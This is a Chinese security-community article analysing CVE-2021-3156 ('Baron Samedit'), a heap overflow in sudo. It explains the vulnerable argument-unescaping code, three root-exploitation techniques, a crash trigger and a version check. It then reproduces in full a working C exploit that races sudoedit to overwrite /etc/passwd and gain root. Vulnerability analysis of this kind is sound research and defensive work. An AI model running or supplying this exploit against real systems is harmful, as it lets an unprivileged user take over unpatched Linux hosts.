文章来源|MS08067 WEB攻防知识星球
本文作者:不言(Ms08067实验室追洞小组成员)
漏洞复现分析 认准追洞小组
一、漏洞介绍
Qualys 公司的研究团队在⼏乎所有主流 Unix 类操作系统都部署的 sudo 中发现了⼀个隐藏近10年之久的堆溢出漏洞,可导致任意低权限⽤户在使⽤默认 sudo 配置的易受攻击主机上获得 root权限。该漏洞被命名为“Baron Samedit”,是研究员对 Baron Samedi 和 sudoedit 的戏称。sudo 是⼀款⼏乎包含在所有基于 Unix 和 Linux 操作系统中的强⼤⼯具,可使⽤户以其它⽤户的安全权限运⾏程序。该漏洞本身隐藏了近10年之久。它源⾃2011年7⽉ (commit 8255ed69) 。这个漏洞易遭利⽤,⽤户⽆需是权限⽤户或者位于 sudoers 列表中。例如,甚⾄是“nobody”账户也可利⽤该漏洞。
影响版本
-
sudo 1
.8
.2 – 1
.8
.31p2
-
sudo 1
.9
.0 – 1
.9
.5p1
不受影响版本
sudo =< 1.9.5p2
二、漏洞分析
官方链接
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
如果执⾏sudo,在"shell"模式下运⾏命令(shell -c 命令):
或者通过 -s 选项,设置sudo的 MODE_SHELL 标记;
或者通过 -i 选项,设置sudo的 MODE_SHELL 和 MODE_LOGIN_SHELL 标记;
之后在sudo的main()的开头,parse_args()重新写argv(第609-617⾏),将所有命令⾏参数(第587-595⾏),并且⽤反斜杠转义所有元字符(第590-591)。
-
571
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
-
572
char **av, *cmnd = NULL;
-
573
int ac = 1;
-
...
-
581
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
-
...
-
587
for (av = argv; *av != NULL; av++) {
-
588
for (src = *av; *src != '\0'; src++) {
-
589
/* quote potential meta characters */
-
590
if (!isalnum((unsigned char)*src) && *src != '_'&& *src != '-' && *src != '$')
-
591
*dst++ = '\\';
-
592
*dst++ = *src;
-
593
}
-
594
*dst++ = '';
-
595
}
-
...
-
600
ac += 2; /* -c cmnd */
-
...
-
603
av = reallocarray(NULL, ac + 1, sizeof(char *));
-
...
-
609
av[0] = (char *)user_details.shell; /* plugin may overrideshell */
-
610
if (cmnd != NULL) {
-
611
av[1] = "-c";
-
612
av[2] = cmnd;
-
613
}
-
614
av[ac] = NULL;
-
615
-
616
argv = av;
-
617
argc = ac;
-
618
}
在 sudoers_policy_main() 中, set_cmnd() 将命令⾏参数放⼊基于堆的缓冲区 user_args (第864-871⾏),并且取消转义元字符(第866-867⾏),来实现sudoers的匹配和记录。
-
819
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
-
...
-
852
for (size =
0, av = NewArgv +
1; *av; av++)
-
853 size += strlen(*av) +
1;
-
854
if (size ==
0 || (user_args = malloc(size)) == NULL) {
-
...
-
857 }
-
858
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
-
...
-
864
for (to = user_args, av = NewArgv +
1; (
from = *av); av++) {
-
865
while (*
from) {
-
866
if (
from[
0] ==
'\\' && !isspace((unsigned char)
from[
1]))
867
from++;
-
868 *to++ = *
from++;
-
869 }
-
870 *to++ =
' ';
-
871 }
-
...
-
884 }
-
...
-
886 }
不幸的是,如果命令以单个反斜杠结尾的字符,然后:
-
在第
866行,
from[
0]是反斜杠,而
from[
1]是参数的
null终止符(不是空格);在C语言中\\代表一个\。
-
在第
867行,
from自增指向
null终止符;
-
在第
868行,将
null终止字符复制到user_args缓冲区,而
from再次自增并且指 向
null后面的字符(超过参数边界);
-
在第
865
-869行的
while循环读取并越界复制字符到user_args缓冲区。
换句话来说,setcmnd()容易受到堆的缓冲区溢出,因为复制到`userargs`缓冲区外的字符不在计算的大小中(在第852-853计算)。
但是从理论上将任何命令行参数都不能够以单个反斜杠结束:如果设置了MODE_SHELL和MODE_LOGIN_SHELL标记(第858行,获取易受攻击代码的必要条件),则设置 MODE_SHELL(第571行),然后parse_args() 已经转义了所有的元字符,包括反斜杠(它通过第二个反斜杠转义了所有的单个反斜杠)。
但是实际上,set_cmnd()中易受攻击的代码和转义符parse_args()中的代码被不同的条件限制:
-
819
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
-
...
-
858
if (
ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
-
571
if (
ISSET(mode, MODE_RUN) &&
ISSET(flags, MODE_SHELL)) {
那么我们的问题是:我们可以设置MODE_SHELL MODE_EDIT MODE_CHECK(获取易受攻击的代码),而不使用默认的MODE_RUN(以避免转义代码)
答案是否定的,如果我们设置了MODE_EDIT(-e选项,第361行)或者MODE_CHECK(-l选项,第423行和第519行),则parse_args()从 valid_flags 删除 MODE_SHELL(第363行和424行)而如果我们指定一个无效标记MODE_SHELL(第532行至533行),则会以一个错误退出:
-
358
case
'e':
-
...
-
361 mode = MODE_EDIT;
-
362 sudo_settings[ARG_SUDOEDIT].
value =
"true";
-
363 valid_flags = MODE_NONINTERACTIVE;
-
364
break;
-
...
-
416
case
'l':
-
...
-
423 mode = MODE_LIST;
-
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
-
425
break;
-
...
-
518
if (argc >
0 && mode == MODE_LIST)
-
519 mode = MODE_CHECK;
-
..
-
532
if ((flags & valid_flags) != flags)
-
533 usage(
1);
但是发现一个问题:如果我们以sudoedit而非sudo来执行sudo,则parse_args() 自动设置MODE_EDIT(第270行)但并未重置 valid_flags,而valid_flags 默认包括 MODE_SHELL(第127行和249行):
-
127
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
-
...
-
249
int valid_flags = DEFAULT_VALID_FLAGS;
-
...
-
267 proglen =
strlen(progname);
-
268
if (proglen >
4 &&
strcmp(progname + proglen -
4,
"edit") ==
0) {
-
269 progname =
"sudoedit";
-
270 mode = MODE_EDIT;
-
271 sudo_settings[ARG_SUDOEDIT].value =
"true";
-
272 }
因此,如果我们执行sudoedit -s,那么我们将同时设置MODE_EDIT和MODE_SHELL(但不是MODE_RUN),我们避免了转义代码,到达易受攻击的代码,并通过基于堆的缓冲区溢出user_args一个以单个反斜杠字符结尾的命令行参数:
-
sudoedit -s
'\' `perl -e 'print
"A" x
65536
'`malloc(): corrupted top sizeAborted (core dumped)
-
从攻击者的角度来看,这个缓冲区溢出是理想的:
-
我们可以控制被溢出的user_args缓冲区的大小(连接的命令行参数的大小,在
852
-854行);
-
我们可以独立控制溢出本身的大小和内存(我们的最后一个命令参数之后是首个环境变量,不包含在
852行到
853行的计算大小中);
-
我们甚至可以把空字节写入溢出的缓冲区(每个以单个反斜杠结尾的命令行参数或环境变量将空字节写入user_args中,在
866行
-868行)
例如,在 amd64 Linux 上,如下命令分配一个24字节大小的 user_args 缓冲区(32字节大小的堆块)并通过 “A=A\0B=B\0” 覆写下一个块的size字段 (0x00623d4200613d41),以“C=c\0D=d\0” (0x00643d4400633d43) 覆写 fd 字段,以 E=e\0F=f\0” (0x00663d4600653d45) 覆写 bk 字段:
-
env -i
'AA=a\'
'B=b\'
'C=c\'
'D=d\'
'E=e\'
'F=f' sudoedit -s
'1234567890123456789012\'
-
-------------------------------------------------------------------------
-
-|--------+--------+--------+--------|--------+--------+--------+--------+--
-
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|--|
-
--------+--------+--------+--------|--------+--------+--------+--------+--
-
size <---- user_args buffer ----> size fd bk
三、利用分析
1、struct sudo_hook_entry overwrite
引起我们注意的第一个崩溃是:
-
Program received signal SIGSEGV, Segmentation fault.
-
0x000056291a25d502 in process_hooks_getenv(name=name@entry=
0x7f4a6d7dc046
"SYSTEMD_BYPASS_USERDB", value=value@entry=
0x7ffc595cc240) at ../../src/hooks.c:
108
-
=>
0x56291a25d502 <process_hooks_getenv+
82>: callq *
0x8(%rbx)
-
rbx
0x56291c1df2b0
94734565372592
-
0x56291c1df2b0:
0x4141414141414141
0x4141414141414141
令人惊讶的是,sudo的函数process_hooks_getenv()崩溃了(在108行),因为我们改写了指针getenv_fn(基于堆的结构sudo_hook_entry):
-
99
int100 process_hooks_getenv(const char *name, char **value)
-
101 {
-
102
struct sudo_hook_entry *hook;
-
103
char *val =
NULL;
-
...
-
107 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
-
108 rc = hook->u.getenv_fn(name, &val, hook->closure);
要利用此struct sudo_hook_entry overwrite,我们要注意:
对getenv_fn的调用(在第108行)以及对execve()的调用:
int execve(const char *filename, char *const argv[ ], char *const envp[ ]);
-
name(SYSTEMD_BYPASS_USERDB)与execve()的路径名参数;
-
&val(一个指向空指针的指针)与execve()的argv;
-
hook-> closure(
NULL指针)与execve()的envp;
我们可以通过劫持函数指针getenv_fn(指向共享库sudoers.so中的函数sudoers_hook_getenv())在存在ASLR的情况下进行部分覆写;幸运的是sudoers.so开始包含了对execve()或(execv())的调用:
-
0000000000008a00 <execv@plt>:
-
8a00: f3
0f
1e fa endbr64
-
8a04: f2 ff
25
65
55
05
00 bnd jmpq *
0x55565(%rip) #
5df70 <execv@GLIBC_2
.2
.5>
-
8a0b:
0f
1f
44
00
00 nopl
0x0(%rax,%rax,
1
首先我们可以暴力漏洞参数,直到用一个无效的用户地址(高于0x800000000000)覆盖getenv_fn,直到getenv_fn的调用出现一般保护错误:
-
sudoedit
[15904]
-
general
protection
fault
ip
:55e9b645b502
sp
:7ffe53d6fa40
error
:0
in
sudo
[55e9b644e000+1a000]
-
^^^
接下来,我们重新利用这些漏洞参数,但用一个有效的(低于0x800000000000)但未映射的用户地址来覆盖getenv_fn,在这个示例中,getenv_fn是我们覆盖的第22个指针。
-
sudoedit
[15906]:
segfault
at
-
323230303030
ip 0000323230303030
sp 00007
ffeeabf2868
error 14
in
sudo
[55b036c16000+5000]
-
^^^^
最后,我们部分覆盖getenv_fn(我们用0x8a00覆盖它的两个最不重要的字节,sudoers.so中execv()的偏移量,用0x00覆盖它的第三个字节。user_args在set_cmnd()中的空终结符),直到我们打败ASLR。我们很有可能在2^(3*8-12)=2^12=4096次尝试后,用execv()的地址覆盖getenv_fn,从而以root身份执行我们自己的二进制文件,命名为 "SYSTEMDBYPASSUSERDB"。
2、 struct service_user overwrite
引起我们注意的第二次崩溃是:
-
Program received signal SIGSEGV, Segmentation fault.
-
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=
0x55cf1a1dd040) at nsswitch.c:
344
-
=>
0x7f6bf9c294ee <nss_load_library+
46>: cmpq $0
x
0,
0x8(%rbx)
-
rbx
0x41414141414141
18367622009667905
glibc的函数nss_load_library()崩溃了(在第344行),因为我们重写了指针library,它是基于堆的结构service_user的成员:
-
327
static int328 nss_load_library (service_user *ni)
-
329 {
-
330
if (ni->library ==
NULL)
-
331 {
-
...
-
338 ni->library = nss_new_service (service_table ?: &default_table,
-
339 ni->name);
-
...
-
342 }
-
343
-
344
if (ni->library->lib_handle ==
NULL)
-
345 {
-
346
/* Load the shared library. */
-
347 size_t shlen = (
7 + strlen (ni->name) +
-
348 + strlen (__nss_shlib_revision) +
1);
-
349
int saved_errno = errno;
-
350 char shlib_name[shlen];
-
351
-
352
/* Construct shared object name. */
-
353 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
-
354
"libnss_"),
-
355 ni->name),
-
356
".so"),
-
357 __nss_shlib_revision);
-
358
-
359 ni->library->lib_handle = __libc_dlopen (shlib_name);
我们可以轻松地将service_user覆盖转换为任意代码执行:
-
我们使用
NULL指针覆盖ni-> library,以在第
330
-342行输入该块,避免在第
344行崩溃,并在第
344
-359行输入该块;
-
我们用 X / X覆盖ni-> name(字符数组,最初为 systemd);
-
第
353
-357行构造共享库libnss_X / X.so
.2的名称(而不是 libnss_systemd.so
.2);
-
在第
359行,我们从以下位置加载了自己的共享库libnss_X / X.so
.2 当前工作目录并以root身份执行_init()构造函数。
3、def_timestampdir overwrite
第三个漏洞利用不是来自sudo的崩溃,而是来自一个偶然的观察结果:在暴力之下,sudo在我们的工作目录(AAAAAA, AAAAAAAAA, etc)中创建了数十个新目录,这些目录每个都属于root,并且只包含了一个以我们自己的用户命名的小文件:sudo的timestamp file。我们重写了def_timestampdir,sudo的timestamp directory。
如果我们用尚不存在的目录名覆盖def_timestampdir,则可以与sudo的ts_mkdirs()竞争,创建指向任意文件的符号链接,然后:
-
chown()这个任意文件到用户root和组root;
-
以root用户身份打开(或创建)任意文件,并编写一个结构 timestamp_entry。
我们无法将转换为完全root特权(例如,如果我们将自己的SUID二进制文件chown()转换为root,则内核会自动删除二进制文件的SUID位)。
最终我们使用第二种方法提升为root权限。
我们通过sudo的timestamplock()中的一个小bug,我们赢得了与`tsmkdirs()和timestamp_open()的竞争,并且我们的任意符号链接指向etc/passwd`,那么这个文件就会以root身份打开。
-
65
struct timestamp_entry {
-
66
unsigned
short version;
/* version number */
-
67
unsigned
short size;
/* entry size */
-
68
unsigned
short type;
/* TS_GLOBAL, TS_TTY, TS_PPID */ ..
-
78 };
-
305
static
ssize_t
-
306 ts_write(
int fd,
const
char *fname, struct timestamp_entry *entry,
off_t offset)
-
307 {
-
...
-
318 nwritten = pwrite(fd, entry, entry->size, offset);
-
...
-
350 }
-
619
bool
-
620 timestamp_lock(
void *vcookie, struct passwd *pw)
-
621 {
-
622
struct ts_cookie *cookie = vcookie;
-
623
struct timestamp_entry entry;
-
...
-
644 nread = read(cookie->fd, &entry,
sizeof(entry));
-
645
if (nread ==
0) {
-
...
-
652 }
else
if (entry.type != TS_LOCKEXCL) {
-
...
-
657
if (ts_write(cookie->fd, cookie->fname, &entry,
0) ==
-1)
在第644行,/etc/passwd的前0x38字节("root: x:0:0:..."),被读入了timestamp_entry类型的entry。
在第652行,entry.tpye是0x783a (":x"),不是TS_LOCKEXCL。
在第657行和318行,将entry->size的字节写入/etc/passwd,entry->size的值实际已经被覆盖为0x746f("ot"),而不是sizeof(struct timestamp_entry)。
我们将sudo堆栈的内容全部写入/etc/passwd(命令行参数和环境变量),将任意用户写入/etc/passwd获得root权限。
四、POC的验证
以非root用户登录系统,并使用命令sudoedit -s /
如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
如果响应一个以usage:开头的报错,那么表明补丁已经生效。
五、Exp的编写
利用struct service_user overwrite
https://github.com/blasty/CVE-2021-3156
-
// Exploit by @gf_256 aka cts// With help from r4j// Original advisory by Baron Samedit of Qualys// Tested on Ubuntu 18.04 and 20.04// You will probably need to adjust RACE_SLEEP_TIME.
-
#include <stdio.h>
-
#include <stdint.h>
-
#include <stdlib.h>
-
#include <string.h>
-
#include <stdlib.h>
-
#include <assert.h>
-
#include <unistd.h>
-
#include <sys/wait.h>
-
#include <sys/types.h>
-
#include <sys/resource.h>
-
#include <sys/stat.h>
-
#include <unistd.h>
-
#include <fcntl.h>
-
#include <pwd.h>
-
// !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!!
-
#define RACE_SLEEP_TIME 10000
-
char *target_file;
-
char *src_file;
-
size_t query_target_size(){
-
struct stat st;
-
stat(target_file, &st);
-
return st.st_size;
-
}
-
char* read_src_contents(){
-
FILE* f = fopen(src_file,
"rb");
-
if (!f) {
-
puts(
"oh no baby what are you doing :(");
-
abort();
-
}
-
fseek(f,
0, SEEK_END);
-
long fsize = ftell(f);
-
fseek(f,
0, SEEK_SET);
-
char *content =
malloc(fsize +
1);
-
fread(content,
1, fsize, f);
-
fclose(f);
-
return content;}
-
char* get_my_username(){
-
// getlogin can return incorrect result (for example, root under su)!
-
struct passwd *pws = getpwuid(getuid());
-
return strdup(pws->pw_name);}
-
int main(int my_argc, char **my_argv){
-
puts(
"CVE-2021-3156 PoC by @gf_256");
-
puts(
"original advisory by Baron Samedit");
-
if (my_argc !=
3) {
-
puts(
"./meme <target file> <src file>");
-
puts(
"Example: ./meme /etc/passwd my_fake_passwd_file");
-
return
1;
-
}
-
target_file = my_argv[
1];
-
src_file = my_argv[
2];
-
printf(
"we will overwrite %s with shit from %s\n", target_file, src_file);
-
char* myusername = get_my_username();
-
printf(
"hi, my name is %s\n", myusername);
-
size_t initial_size = query_target_size();
-
printf(
"%s is %zi big right now\n", target_file, initial_size);
-
char* shit_to_write = read_src_contents();
-
char memedir[
1000];
-
char my_symlink[
1000];
-
char overflow[
1000];
-
char* bigshit =
calloc(
1,
0x10000);
-
memset(bigshit,
'A',
0xffff);
-
// need a big shit in the stack so the write doesn't fail with bad address
-
char *argv[] = {
"/usr/bin/sudoedit",
"-A",
"-s",
"\\", overflow,
NULL };
-
char *envp[] = {
-
"\n\n\n\n\n",
// put some fucken newlines here to separate our real contents from the junk
-
shit_to_write,
-
"SUDO_ASKPASS=/bin/false",
-
"LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-
bigshit,
-
NULL
-
};
-
puts(
"ok podracing time bitches");
-
for (
int i =
0; i <
5000; i++) {
-
sprintf(memedir,
"ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);
-
sprintf(overflow,
"11111111111111111111111111111111111111111111111111111111%s", memedir);
-
sprintf(my_symlink,
"%s/%s", memedir, myusername);
-
puts(memedir);
-
if (access(memedir, F_OK) ==
0) {
-
printf(
"dude, %s already exists, do it from a clean working dir\n", memedir);
-
return
1;
-
}
-
pid_t childpid = fork();
-
if (childpid)
-
{
-
// parent
-
usleep(RACE_SLEEP_TIME);
-
mkdir(memedir,
0700);
-
symlink(target_file, my_symlink);
-
waitpid(childpid,
0,
0);
-
}
-
else {
// child
-
setpriority(PRIO_PROCESS,
0,
20);
-
// set nice to 20 for race reliability
-
execve(
"/usr/bin/sudoedit", argv, envp);
-
// noreturn
-
puts(
"execve fails?!");
-
abort();
-
}
-
if (query_target_size() != initial_size) {
-
puts(
"target file has a BRUH MOMENT!!!! SUCCess???");
-
system(
"xdg-open 'https://www.youtube.com/watch?v=4vkR1G_DUVc'");
// ayy lmao
-
return
0;
-
}
-
}
-
puts(
"Failed?");
-
puts(
"if all the meme dirs are owned by root, the usleep needs to be decreased.");
-
puts(
"if they're all owned by you, the usleep needs to be increased");
-
return
0;}
六、Exp的gdb调试
未完待续...
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
目前36000+人已关注加入我们
转载:https://blog.csdn.net/shuteer_xu/article/details/114302958